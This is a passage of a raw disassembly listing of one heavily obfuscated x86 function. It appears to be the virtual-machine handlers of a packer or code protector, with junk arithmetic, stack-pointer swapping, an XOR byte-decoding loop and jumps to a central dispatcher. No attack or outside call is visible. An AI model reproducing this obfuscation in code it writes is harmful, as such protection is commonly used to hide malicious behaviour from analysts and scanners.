		sub	ecx, 7512745Dh
		add	ecx, 392A80DDh
		add	esi, ecx
		mov	ecx, [esp-6ECCh+arg_6EC2+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_58AA61
; ---------------------------------------------------------------------------


loc_587227:				; CODE XREF: sub_581EE9+482Bj
		push	ecx
		mov	ecx, 50672503h
		add	edx, 0CA5192Bh
		add	edx, ecx
		jmp	loc_58E5A7
; ---------------------------------------------------------------------------


loc_58723A:				; CODE XREF: sub_581EE9+B104j
		sub	eax, edi
		jmp	loc_58FFCC
; ---------------------------------------------------------------------------


loc_587241:				; CODE XREF: sub_581EE9+652Fj
		push	ecx
		mov	cl, 0D9h
		shl	cl, 1
		and	cl, 5Bh
		xor	cl, 20h
		sub	dh, cl
		mov	ecx, [esp-6EF6h+arg_6EEC+2]
		add	esp, 4
		add	al, dh
		jmp	loc_58CD95
; ---------------------------------------------------------------------------


loc_58725E:				; CODE XREF: sub_581EE9+E00Fj
		add	edx, 4
		xchg	edx, [esp-6EFAh+arg_6EF0+2]
		pop	esp
		jmp	loc_589454
; ---------------------------------------------------------------------------


loc_58726A:				; CODE XREF: sub_581EE9+A58Fj
		add	edi, 4
		jmp	loc_585E25
; ---------------------------------------------------------------------------


loc_587275:				; CODE XREF: sub_581EE9+3E24j
		not	eax
		shr	eax, 2
		push	edx
		jmp	loc_58DDB4
; ---------------------------------------------------------------------------


loc_587280:				; CODE XREF: sub_581EE9+EE51j
		add	esi, 403D7ADEh
		neg	esi
		jmp	loc_5911AF
; ---------------------------------------------------------------------------


loc_58728D:				; CODE XREF: sub_581EE9+4F08j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587292:				; CODE XREF: sub_581EE9+FD29j
		sub	eax, esi
		jmp	loc_588EC7
; ---------------------------------------------------------------------------


loc_587299:				; CODE XREF: sub_581EE9+8D51j
		sub	esp, 4
		mov	[esp-6EC8h+arg_6EBE+2],	edx
		mov	edx, 7D5B15E0h
		add	edx, 0FFFFFFFFh
		jmp	loc_588746
; ---------------------------------------------------------------------------


loc_5872AC:				; CODE XREF: sub_581EE9+452Dj
		shl	edi, 7
		dec	edi
		sub	edi, 70AC5B11h
		xor	edi, 0B4C2497Ch
		xor	ebp, edi
		pop	edi
		sub	ebp, 3C942B03h
		add	ebp, 0DF8AEC74h
		add	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 2
		add	edx, eax
		jmp	loc_58A1BD
; ---------------------------------------------------------------------------


loc_5872DB:				; CODE XREF: sub_581EE9+A666j
		or	edx, 0DF93421h
		jmp	loc_58FF90
; ---------------------------------------------------------------------------


loc_5872E6:				; CODE XREF: sub_581EE9+862Cj
		pop	edx
		jmp	loc_58A339
; ---------------------------------------------------------------------------


loc_5872EC:				; CODE XREF: sub_581EE9+F381j
		push	edi
		mov	edi, 2CF676B4h
		jmp	loc_58B761
; ---------------------------------------------------------------------------


loc_5872F7:				; CODE XREF: sub_581EE9+BBF2j
		sub	esi, 742E24E1h
		pop	edx
		sub	esi, 6EA157F2h
		jmp	loc_5890E2
; ---------------------------------------------------------------------------


loc_587309:				; CODE XREF: sub_581EE9+63C3j
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_58646C
; ---------------------------------------------------------------------------


loc_587325:				; CODE XREF: sub_581EE9+CF4Fj
		add	eax, 4
		push	ebx
		push	edi
		push	1AE90773h
		pop	edi
		push	eax
		mov	eax, 0E516F891h
		add	edi, eax
		pop	eax
		jmp	loc_58E1AD
; ---------------------------------------------------------------------------


loc_587340:				; CODE XREF: sub_581EE9+F1ACj
		pop	ebx
		and	ebx, ebp
		mov	ebp, [esp-6EEAh+arg_6EE0+2]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5918B3
; ---------------------------------------------------------------------------


loc_58735A:				; CODE XREF: sub_581EE9+A8F6j
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 43A57BB4h
		add	ecx, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_587F1B
; ---------------------------------------------------------------------------


loc_587372:				; CODE XREF: sub_581EE9+F100j
		push	ecx
		mov	ecx, 3B365A85h
		or	ecx, 50EF61C7h
		sub	ecx, 2B6B577Fh
		mov	ebx, ecx
		jmp	loc_58B6EF
; ---------------------------------------------------------------------------


loc_58738B:				; CODE XREF: sub_581EE9+4284j
		xor	ebx, eax
		mov	eax, [esp-6EBAh+arg_6EB2]
		jmp	loc_591533
; ---------------------------------------------------------------------------


loc_587395:				; CODE XREF: sub_581EE9+ED09j
		mov	[esp-6EBAh+arg_6EB2], edx
		jmp	loc_586B29
; ---------------------------------------------------------------------------


loc_58739D:				; CODE XREF: sub_581EE9+5FF7j
		add	edi, ecx
		pop	ecx
		jmp	loc_587A11
; ---------------------------------------------------------------------------


loc_5873A5:				; DATA XREF: sub_581EE9+3C1Fo
		push	[esp-6EBEh+arg_6EB6]
		pop	eax
		jmp	loc_587BC6
; ---------------------------------------------------------------------------


loc_5873AE:				; CODE XREF: sub_581EE9+DEBEj
		pop	esp
		idiv	ecx
		push	7DA8h
		mov	[esp-6EBEh+arg_6EB6], edx
		push	eax
		pushf
		jmp	loc_58A30D
; ---------------------------------------------------------------------------


loc_5873C0:				; CODE XREF: sub_581EE9+D458j
		pop	esp
		push	1F3Dh
		mov	[esp-6EB6h+arg_6EAC+2],	edx
		mov	dl, 0CEh
		push	ax
		mov	ah, 1Dh
		sub	dl, ah
		pop	ax
		sub	al, 4Fh
		jmp	loc_5892C7
; ---------------------------------------------------------------------------


loc_5873DA:				; CODE XREF: sub_581EE9+B9ECj
		mov	[esp-6EB6h+arg_6EAC+2],	ecx
		mov	ecx, 19BF3DABh
		xor	ecx, 61635267h
		push	edi
		mov	edi, 3E0511B7h
		and	edi, 18683D43h
		sub	edi, 7908426Ch
		push	edi
		not	[esp-6EAEh+arg_6EA4+2]
		pop	edi
		push	esi
		mov	esi, 296060Bh
		xor	edi, esi
		mov	esi, [esp-6EAEh+arg_6EA4+2]
		add	esp, 4
		sub	ecx, 260E7CD3h
		sub	ecx, edi
		add	ecx, 260E7CD3h
		pop	edi
		jmp	loc_58902D
; ---------------------------------------------------------------------------


loc_587424:				; CODE XREF: sub_581EE9+B2A1j
		pop	ebp
		push	2D91h
		jmp	loc_58884B
; ---------------------------------------------------------------------------


loc_58742F:				; CODE XREF: sub_581EE9+E9D8j
		add	ecx, 4532BEDh
		sub	ecx, 4AEE5E4Eh
		jmp	loc_58FFD6
; ---------------------------------------------------------------------------


loc_587440:				; CODE XREF: sub_581EE9+EB9Bj
		mov	[esp-6EB6h+arg_6EAC+2],	eax
		mov	eax, 0E8C794Dh
		xor	[edi+40h], eax
		pop	eax
		jmp	loc_590B9A
; ---------------------------------------------------------------------------


loc_587451:				; CODE XREF: sub_581EE9+4943j
		mov	cl, 82h
		add	al, 0F4h
		add	al, cl
		jmp	loc_59046E
; ---------------------------------------------------------------------------


loc_58745C:				; CODE XREF: sub_581EE9+CB5Bj
		mov	eax, ebx
		jmp	loc_58B944
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EBEh+arg_6EB6]
		push	3DEDh
		mov	[esp-6EBAh+arg_6EB2], edx
		push	esp
		push	[esp-6EB6h+arg_6EAC+2]
		mov	edx, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		jmp	loc_58611C
; ---------------------------------------------------------------------------


loc_58747E:				; CODE XREF: sub_581EE9+3E32j
		xchg	ecx, [esp-6ED2h+arg_6ECA]
		jmp	loc_58FD2A
; ---------------------------------------------------------------------------


loc_587486:				; DATA XREF: sub_581EE9+3D2Fo
		push	[esp-6ED2h+arg_6ECA]
		push	[esp-6ECEh+arg_6EC6]
		pop	ecx
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_590129
; ---------------------------------------------------------------------------


loc_587496:				; CODE XREF: sub_581EE9+D71Aj
		mov	edx, 2
		push	edi
		mov	edi, 0DBB2158h
		xor	edi, 1E353D78h
		add	ebx, edi
		pop	edi
		push	edi
		mov	edi, 8865E57h
		sub	ebx, edi
		jmp	loc_591695
; ---------------------------------------------------------------------------


loc_5874B7:				; CODE XREF: sub_581EE9+CD41j
		pop	edx
		pop	[esp-6EC6h+arg_6EBE]
		jmp	loc_58B545
; ---------------------------------------------------------------------------


loc_5874C0:				; CODE XREF: sub_581EE9+BC8Aj
		sub	edx, 4
		jmp	loc_58E4D7
; ---------------------------------------------------------------------------


loc_5874CB:				; CODE XREF: sub_581EE9+6877j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp-6ECEh+arg_6EC6]
		pop	esp
		push	ebp
		jmp	loc_58D16C
; ---------------------------------------------------------------------------


loc_5874E3:				; CODE XREF: sub_581EE9+E8B9j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5874E8:				; CODE XREF: sub_581EE9+924Dj
		sub	edi, 18F47557h
		jmp	loc_58ABC1
; ---------------------------------------------------------------------------


loc_5874F3:				; CODE XREF: sub_581EE9+FBECj
		sub	esp, 4
		mov	[esp-6ECAh+arg_6EC2], ecx
		push	esp
		pop	ecx
		push	esi
		mov	esi, 4
		jmp	loc_58B1B7
; ---------------------------------------------------------------------------


loc_587509:				; CODE XREF: sub_581EE9+E91Fj
		not	bp
		jmp	loc_587F38
; ---------------------------------------------------------------------------


loc_587511:				; CODE XREF: sub_581EE9+9F2Bj
		mov	ebp, 3699013Bh
		add	ebp, 0FFFFFFFFh
		or	ebp, 5826339Fh
		dec	ebp
		jmp	loc_58883E
; ---------------------------------------------------------------------------


loc_587528:				; CODE XREF: sub_581EE9+95B4j
		mov	word ptr [esp-6EC6h+arg_6EBE], ax
		mov	ah, 3Ah
		jmp	loc_58F759
; ---------------------------------------------------------------------------


loc_587533:				; CODE XREF: sub_581EE9+7201j
		push	5EE37199h
		jmp	loc_587B45
; ---------------------------------------------------------------------------


loc_58753D:				; CODE XREF: sub_581EE9+C8F9j
		not	eax
		or	eax, 2330188Fh
		push	ebp
		jmp	loc_588662
; ---------------------------------------------------------------------------


loc_58754A:				; CODE XREF: sub_581EE9+5CD8j
		mov	[esp-6EBEh+arg_6EB6], esi
		jmp	loc_58B200
; ---------------------------------------------------------------------------


loc_587552:				; CODE XREF: sub_581EE9+88BFj
		add	esp, 4
		xor	ebp, 18616DA8h
		mov	edx, ebp
		pop	ebp
		or	edx, 155C203Dh
		or	edx, 40070242h
		add	edx, 0D1A8D3AEh
		add	ecx, edx
		pop	edx
		jmp	loc_58A881
; ---------------------------------------------------------------------------


loc_58757B:				; CODE XREF: sub_581EE9+F54Aj
		xor	byte ptr [esp-6ECAh+arg_6EC2], al
		pushf
		jmp	loc_58FAA0
; ---------------------------------------------------------------------------


loc_587584:				; CODE XREF: sub_581EE9+592Fj
		and	eax, 188403C4h
		push	ecx
		mov	ecx, 50E31C99h
		or	ecx, 6D46A8Bh
		sub	ecx, 156B1559h
		xor	ecx, 410C6A00h
		jmp	loc_58BDED
; ---------------------------------------------------------------------------


loc_5875A6:				; CODE XREF: sub_581EE9+45D5j
		add	esi, 4
		jmp	loc_58AC1D
; ---------------------------------------------------------------------------


loc_5875B1:				; CODE XREF: sub_581EE9+EC79j
		pop	eax
		push	0DA7h
		mov	[esp-6EEEh+arg_6EE4+2],	ebx
		jmp	loc_58F195
; ---------------------------------------------------------------------------


loc_5875BF:				; CODE XREF: sub_581EE9+5178j
		pop	ecx
		xchg	eax, [esp-6F06h+arg_6EFE]
		pop	esp
		mov	[esp-6F0Ah+arg_6F02], eax
		mov	eax, 2530251Eh
		sub	[esp-6F0Ah+arg_6F06], eax
		pop	eax
		sub	[esp-6F0Eh+arg_6F06], 49255AF8h
		jmp	loc_59157B
; ---------------------------------------------------------------------------


loc_5875DD:				; CODE XREF: sub_581EE9+74CFj
		mov	[esp-6F0Eh+arg_6F06], ebx
		mov	ebx, 5FA765FCh
		shl	ebx, 1
		jmp	loc_58E50F
; ---------------------------------------------------------------------------


loc_5875EC:				; DATA XREF: sub_581EE9+3CA7o
		lodsb
		xor	al, bl
		sub	esp, 4
		jmp	loc_58B10B
; ---------------------------------------------------------------------------


loc_5875FA:				; CODE XREF: sub_581EE9+B0CBj
		add	esi, 60ED206Ch
		add	esi, ecx
		sub	esi, 60ED206Ch
		mov	ecx, [esp-6F0Ah+arg_6F02]
		add	esp, 4
		jmp	loc_58C364
; ---------------------------------------------------------------------------


loc_587616:				; CODE XREF: sub_581EE9+8462j
		and	eax, 5EA77551h
		sub	eax, 0FFFFFFFFh
		neg	eax
		not	eax
		xor	eax, 7E376AB1h
		sub	edi, eax
		pop	eax
		sub	edi, 0D471DDA1h
		add	eax, edi
		pop	edi
		jmp	loc_58C334
; ---------------------------------------------------------------------------


loc_587638:				; CODE XREF: sub_581EE9+B574j
		and	[edi+1Ch], ecx
		push	[esp-6F16h+arg_6F0E]
		mov	ecx, [esp-6F12h+arg_6F0A]
		add	esp, 4
		push	edi
		jmp	loc_58AC87
; ---------------------------------------------------------------------------


loc_58764A:				; CODE XREF: sub_581EE9+EB09j
		mov	[esp-6F12h+arg_6F0A], edi
		push	ebx
		push	447C2E31h
		pop	ebx
		push	ebx
		xchg	edx, [esp-6F0Ah+arg_6F02]
		not	edx
		xchg	edx, [esp-6F0Ah+arg_6F02]
		pop	ebx
		shl	ebx, 3
		xor	ebx, 0E6C6F4B2h
		mov	edi, ebx
		jmp	loc_588BBF
; ---------------------------------------------------------------------------


loc_58766E:				; CODE XREF: sub_581EE9+6D8Ej
		mov	[esp-6F0Eh+arg_6F06], ecx
		jmp	loc_5878A8
; ---------------------------------------------------------------------------


loc_587676:				; CODE XREF: sub_581EE9+7668j
		mov	[esp-6F0Eh+arg_6F06], eax
		push	1AC5h
		mov	[esp-6F0Ah+arg_6F02], ebp
		mov	ebp, 2F106956h
		sub	[esp-6F0Ah+arg_6F06], ebp
		jmp	loc_58BFC4
; ---------------------------------------------------------------------------


loc_58768F:				; CODE XREF: sub_581EE9+E20Dj
		pop	ecx
		push	eax
		mov	eax, 66E619BCh
		jmp	loc_58F79B
; ---------------------------------------------------------------------------


loc_58769B:				; CODE XREF: sub_581EE9+EB2Fj
		or	ebp, 554717D9h
		push	eax
		mov	eax, 0F2A5921h
		shr	eax, 8
		dec	eax
		push	ebx
		jmp	loc_58C82F
; ---------------------------------------------------------------------------


loc_5876B1:				; CODE XREF: sub_581EE9+6E44j
		mov	bl, ch
		pop	ecx
		not	bl
		mov	ah, bl
		pop	ebx
		xchg	ah, byte ptr [esp-6F0Ah+arg_6F02]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5876C1:				; CODE XREF: sub_581EE9+6984j
		push	ebp
		mov	ebp, 4
		jmp	loc_58CDD0
; ---------------------------------------------------------------------------


loc_5876CC:				; CODE XREF: sub_581EE9+5270j
		sub	eax, 0DC7B9301h
		mov	edi, eax
		mov	eax, [esp-6EE0h+arg_6ED6+2]
		jmp	loc_58866D
; ---------------------------------------------------------------------------


loc_5876DB:				; CODE XREF: sub_581EE9+73F0j
		sub	al, bl
		jmp	loc_58A6C6
; ---------------------------------------------------------------------------


loc_5876E2:				; CODE XREF: sub_581EE9+8E8Fj
		push	[esp-6EE0h+arg_6ED6+2]
		pop	esi
		push	eax
		jmp	loc_586198
; ---------------------------------------------------------------------------


loc_5876EC:				; CODE XREF: sub_581EE9+AAE9j
		add	edi, ebp
		sub	edi, 1AAE4070h
		pop	ebp
		xor	edi, [esp-6EE0h+arg_6ED6+2]
		xor	[esp-6EE0h+arg_6ED6+2],	edi
		xor	edi, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		and	[esp-6EE4h+arg_6EDC], eax
		pushf
		jmp	loc_589ABC
; ---------------------------------------------------------------------------


loc_587708:				; CODE XREF: sub_581EE9+8C16j
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp-6EE0h+arg_6ED6+2]
		jmp	loc_586EA4
; ---------------------------------------------------------------------------


loc_587719:				; CODE XREF: sub_581EE9+BD68j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		mov	[esp-6EE4h+arg_6EDC], esi
		jmp	loc_587E63
; ---------------------------------------------------------------------------


loc_587730:				; CODE XREF: sub_581EE9+4E64j
		push	esi
		sub	esp, 4
		push	esp
		pop	[esp-6EC2h+arg_6EBA]
		jmp	loc_59044F
; ---------------------------------------------------------------------------


loc_58773D:				; CODE XREF: sub_581EE9+E0DEj
		push	1F65h
		mov	[esp-6EC2h+arg_6EBA], ebp
		pop	eax
		pop	ebp
		jmp	loc_58CC0C
; ---------------------------------------------------------------------------


loc_58774C:				; DATA XREF: sub_581EE9+3D1Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp-6ECCh+arg_6EC2+2],	cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58775B:				; CODE XREF: sub_581EE9+912Cj
		xchg	ebp, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		mov	[esp-6ECCh+arg_6EC2+2],	eax
		jmp	loc_58CF70
; ---------------------------------------------------------------------------


loc_587767:				; CODE XREF: sub_581EE9+F76Dj
		mov	esp, [esp-6ECCh+arg_6EC2+2]
		imul	cx
		push	3F5Ch
		mov	[esp-6EC8h+arg_6EBE+2],	ebp
		push	esp
		pop	ebp
		jmp	loc_58C42F
; ---------------------------------------------------------------------------


loc_58777C:				; CODE XREF: sub_581EE9+BEBAj
		push	7A2Ah
		mov	[esp-6EC4h+arg_6EBA+2],	ebx
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	ecx
		push	0E9C1311h
		push	[esp-6EBCh+arg_6EB2+2]
		mov	ecx, [esp+0]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_58BCDB
; ---------------------------------------------------------------------------


loc_5877B0:				; CODE XREF: sub_581EE9+BDC2j
		xor	edx, ebp
		jmp	loc_58FFB8
; ---------------------------------------------------------------------------


loc_5877B7:				; CODE XREF: sub_581EE9+59F5j
		pop	esp
		pop	[esp-6EC0h+arg_6EB6+2]
		mov	esp, [esp-6EC4h+arg_6EBA+2]
		test	ecx, eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5877C6:				; CODE XREF: sub_581EE9+A78Fj
		xor	edx, 651B4F0Bh
		xor	esi, edx
		pop	edx
		push	3564h
		mov	[esp-6EC0h+arg_6EB6+2],	esi
		mov	esi, 379779EEh
		add	edi, 3BC41F83h
		add	edi, esi
		jmp	loc_58809A
; ---------------------------------------------------------------------------


loc_5877E9:				; CODE XREF: sub_581EE9+BFB9j
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		mov	cx, word ptr [esp-6EC8h+arg_6EBE+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_58D4E4
; ---------------------------------------------------------------------------


loc_587808:				; CODE XREF: sub_581EE9+7B9Fj
		add	ebp, 0C1A38812h
		jmp	loc_589F91
; ---------------------------------------------------------------------------


loc_587813:				; CODE XREF: sub_581EE9+9904j
		add	eax, 22844F40h
		jmp	loc_587584
; ---------------------------------------------------------------------------


loc_58781D:				; CODE XREF: sub_581EE9+B74Fj
		mov	[esp-6EC4h+arg_6EBA+2],	edx
		jmp	loc_58C5A1
; ---------------------------------------------------------------------------


loc_587825:				; CODE XREF: sub_581EE9+8FB2j
		add	ebx, 3DAF1E0Fh
		push	eax
		mov	eax, 2170683Ah
		sub	ebx, eax
		mov	eax, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_58C8DD
; ---------------------------------------------------------------------------


loc_58783B:				; CODE XREF: sub_581EE9+43BEj
		xor	edi, ebp
		xor	ebp, edi
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp-6ECAh+arg_6EC2], ebp
		mov	ebp, 3EBD73B7h
		push	esi
		mov	esi, 7C8F4A68h
		and	ebp, esi
		mov	esi, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		push	eax
		mov	eax, 65B67FE1h
		sub	eax, 60195AEFh
		add	eax, 1
		xor	eax, 7B55518Bh
		jmp	loc_58ADAE
; ---------------------------------------------------------------------------


loc_587878:				; CODE XREF: sub_581EE9+8525j
		push	edi
		mov	edi, 68AC25B7h
		sub	eax, edi
		mov	edi, [esp-6EC2h+arg_6EBA]
		jmp	loc_58E073
; ---------------------------------------------------------------------------


loc_587888:				; CODE XREF: sub_581EE9+721Cj
		mov	esi, 78E8283Ah
		push	ecx
		mov	ecx, 78E8283Bh
		xor	esi, ecx
		jmp	loc_58B7D1
; ---------------------------------------------------------------------------


loc_58789A:				; CODE XREF: sub_581EE9+F9D5j
		xor	bl, 1
		add	al, bl
		pop	ebx
		mov	ecx, [esp-6EC2h+arg_6EBA]
		jmp	loc_586172
; ---------------------------------------------------------------------------


loc_5878A8:				; CODE XREF: sub_581EE9+5788j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_591B80
; ---------------------------------------------------------------------------


loc_5878B5:				; CODE XREF: sub_581EE9+E5DEj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-6F0Eh+arg_6F06]
		pop	esp
		jmp	loc_58AB72
; ---------------------------------------------------------------------------


loc_5878C7:				; CODE XREF: sub_581EE9+5B9Cj
		push	[esp-6F12h+arg_6F0E]
		mov	ebx, [esp-6F0Eh+arg_6F06]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6F0Ah+arg_6F02]
		jmp	loc_5877B7
; ---------------------------------------------------------------------------


loc_5878E3:				; CODE XREF: sub_581EE9+5C57j
		add	ecx, edx
		jmp	loc_585D12
; ---------------------------------------------------------------------------


loc_5878EA:				; CODE XREF: sub_581EE9+98D2j
		add	esp, 4
		push	eax
		mov	eax, 24h
		add	eax, edi
		push	edx
		mov	edx, 0
		add	edx, eax
		add	[edx], esi
		pop	edx
		pop	eax
		pop	esi


loc_587902:				; CODE XREF: sub_581EE9+A6FFj
		push	ebp
		jmp	loc_58D4DD
; ---------------------------------------------------------------------------


loc_587908:				; CODE XREF: sub_581EE9+A3E5j
		mov	[esp-6F0Eh+arg_6F06], esi
		push	2C8Dh
		sub	esp, 4
		mov	[esp-6F06h+arg_6EFE], esp
		add	[esp-6F06h+arg_6EFE], 4
		pop	[esp-6F06h+arg_6EFE]
		add	[esp-6F0Ah+arg_6F02], 4
		pop	esi
		add	esi, 4
		jmp	loc_585CD6
; ---------------------------------------------------------------------------


loc_587933:				; CODE XREF: sub_581EE9+C9AEj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587938:				; CODE XREF: sub_581EE9+683Ej
		add	ecx, ebp
		push	edx
		sub	esp, 4
		mov	[esp-6F06h+arg_6EFE], ebp
		push	1CD62112h
		jmp	loc_58A7A5
; ---------------------------------------------------------------------------


loc_58794E:				; CODE XREF: sub_581EE9+B543j
		push	ebx
		jmp	loc_587128
; ---------------------------------------------------------------------------


loc_587954:				; DATA XREF: sub_581EE9+3BD7o
		push	[esp-6EFEh+arg_6EF6]
		pop	ecx
		push	1274h
		mov	[esp-6EFAh+arg_6EF0+2],	ecx
		mov	ecx, esp
		jmp	loc_58B113
; ---------------------------------------------------------------------------


loc_587967:				; CODE XREF: sub_581EE9+8D99j
		sub	esp, 4
		jmp	loc_58FA3F
; ---------------------------------------------------------------------------


loc_587972:				; CODE XREF: sub_581EE9+8840j
		shr	ecx, 6
		and	ecx, 5A9E2707h
		xor	ecx, 44B13EBBh
		add	ecx, 2CE1DDEFh
		add	esi, ecx
		pop	ecx
		add	esi, eax
		push	edx
		mov	edx, 719D1DA9h
		add	esi, 5DDE35B8h
		sub	esi, edx
		sub	esi, 5DDE35B8h
		pop	edx
		jmp	loc_58C877
; ---------------------------------------------------------------------------


loc_5879A6:				; CODE XREF: sub_581EE9+EE82j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_588124
; ---------------------------------------------------------------------------


loc_5879B4:				; CODE XREF: sub_581EE9+6943j
		sub	al, 22h
		sub	al, bl
		add	al, 22h
		push	[esp-6EFAh+arg_6EF0+2]
		jmp	loc_5893A7
; ---------------------------------------------------------------------------


loc_5879C2:				; CODE XREF: sub_581EE9+506Ej
		pop	ecx
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], edi
		mov	edi, 1A0F5D0Bh
		neg	edi
		xchg	edx, edi
		push	edx
		not	[esp-6EACh+arg_6EA4]
		jmp	loc_58D4A4
; ---------------------------------------------------------------------------


loc_5879DE:				; CODE XREF: sub_581EE9+9604j
		xor	esi, 3212506Fh
		add	ebx, esi
		jmp	loc_58F9E5
; ---------------------------------------------------------------------------


loc_5879EB:				; CODE XREF: sub_581EE9+CDE1j
		mov	word ptr [esp-6EACh+arg_6EA4], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5879F4:				; CODE XREF: sub_581EE9+E002j
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], eax
		mov	eax, 4
		add	edi, 7481451h
		jmp	loc_58E22E
; ---------------------------------------------------------------------------


loc_587A11:				; CODE XREF: sub_581EE9+54B7j
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp-6EBEh+arg_6EB6]
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587A23:				; CODE XREF: sub_581EE9+945Dj
		add	esp, 4
		sub	edx, 3BE623F6h
		add	ebx, edx
		pop	edx
		add	ebx, 2
		jmp	loc_58FD3A
; ---------------------------------------------------------------------------


loc_587A3D:				; CODE XREF: sub_581EE9+EC6Fj
		push	dword ptr [edi+eax*4]
		jmp	loc_58F05D
; ---------------------------------------------------------------------------


loc_587A45:				; CODE XREF: sub_581EE9+916Fj
		pop	eax
		or	[edi+1Ch], esi
		mov	esi, [esp-6ECAh+arg_6EC2]
		push	2A06h
		mov	[esp-6EC6h+arg_6EBE], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58E268
; ---------------------------------------------------------------------------


loc_587A61:				; CODE XREF: sub_581EE9+D3B3j
		xor	[esp-6EC6h+arg_6EBE], esi
		xor	esi, [esp-6EC6h+arg_6EBE]
		xor	[esp-6EC6h+arg_6EBE], esi
		xchg	ecx, esi
		jmp	loc_5916B3
; ---------------------------------------------------------------------------


loc_587A71:				; CODE XREF: sub_581EE9+AF5Fj
		mov	cx, word ptr [esp-6EC6h+arg_6EBE]
		add	esp, 2
		push	edx
		jmp	loc_58C7C9
; ---------------------------------------------------------------------------


loc_587A7E:				; CODE XREF: sub_581EE9+E6B2j
		add	ebx, 4
		push	ebx
		jmp	loc_5878C7
; ---------------------------------------------------------------------------


loc_587A8A:				; CODE XREF: sub_581EE9+D904j
		add	esp, 4
		and	edx, 5F4956C9h
		shr	edx, 3
		jmp	loc_58F879
; ---------------------------------------------------------------------------


loc_587A9E:				; CODE XREF: sub_581EE9+B774j
		push	edi
		push	esi
		mov	esi, 3FBD319Bh
		xor	esi, 6D5353B6h
		mov	edi, esi
		pop	esi
		mov	ebx, edi
		pop	edi
		push	esi
		push	ebx
		push	eax
		mov	eax, 0B2D285Bh
		jmp	loc_58B05D
; ---------------------------------------------------------------------------


loc_587ABE:				; CODE XREF: sub_581EE9+AFBAj
		pop	ebp
		pop	eax
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xor	ecx, [esp-6EC6h+arg_6EBE]
		xor	[esp-6EC6h+arg_6EBE], ecx
		xor	ecx, [esp-6EC6h+arg_6EBE]
		mov	esp, [esp-6EC6h+arg_6EBE]
		mov	[esp-6EC6h+arg_6EBE], edx
		push	eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587ADC:				; CODE XREF: sub_581EE9+6D3Aj
		add	esp, 4
		pop	[esp-6EC2h+arg_6EBA]
		pop	esp
		mov	ax, word ptr [esp-6ECAh+arg_6EC2]
		sub	esp, 4
		jmp	loc_590B3B
; ---------------------------------------------------------------------------


loc_587AF2:				; CODE XREF: sub_581EE9+903Cj
		mov	esp, [esp-6EC6h+arg_6EBE]
		movzx	cx, al
		push	small 1FCEh
		mov	word ptr [esp-6EC4h+arg_6EBA+2], cx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587B06:				; CODE XREF: sub_581EE9+B3E9j
		pop	edx
		jmp	loc_5911F7
; ---------------------------------------------------------------------------


loc_587B0C:				; CODE XREF: sub_581EE9+B680j
		push	ecx
		push	edx
		mov	dl, 0D7h
		shl	dl, 1
		inc	dl
		or	dl, 4Ch
		jmp	loc_5907EB
; ---------------------------------------------------------------------------


loc_587B1C:				; CODE XREF: sub_581EE9+8D6Dj
		mov	ebx, 709D2B30h
		or	ebx, 3BDC4A14h
		dec	ebx
		jmp	loc_58A9C4
; ---------------------------------------------------------------------------


loc_587B2D:				; CODE XREF: sub_581EE9+7A61j
		add	ebx, 4
		jmp	loc_591B02
; ---------------------------------------------------------------------------


loc_587B35:				; CODE XREF: sub_581EE9+9DD3j
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	edx
		mov	edx, 4
		jmp	loc_5878E3
; ---------------------------------------------------------------------------


loc_587B45:				; CODE XREF: sub_581EE9+564Fj
		pop	edx
		shl	edx, 7
		push	ebp
		mov	ebp, esp
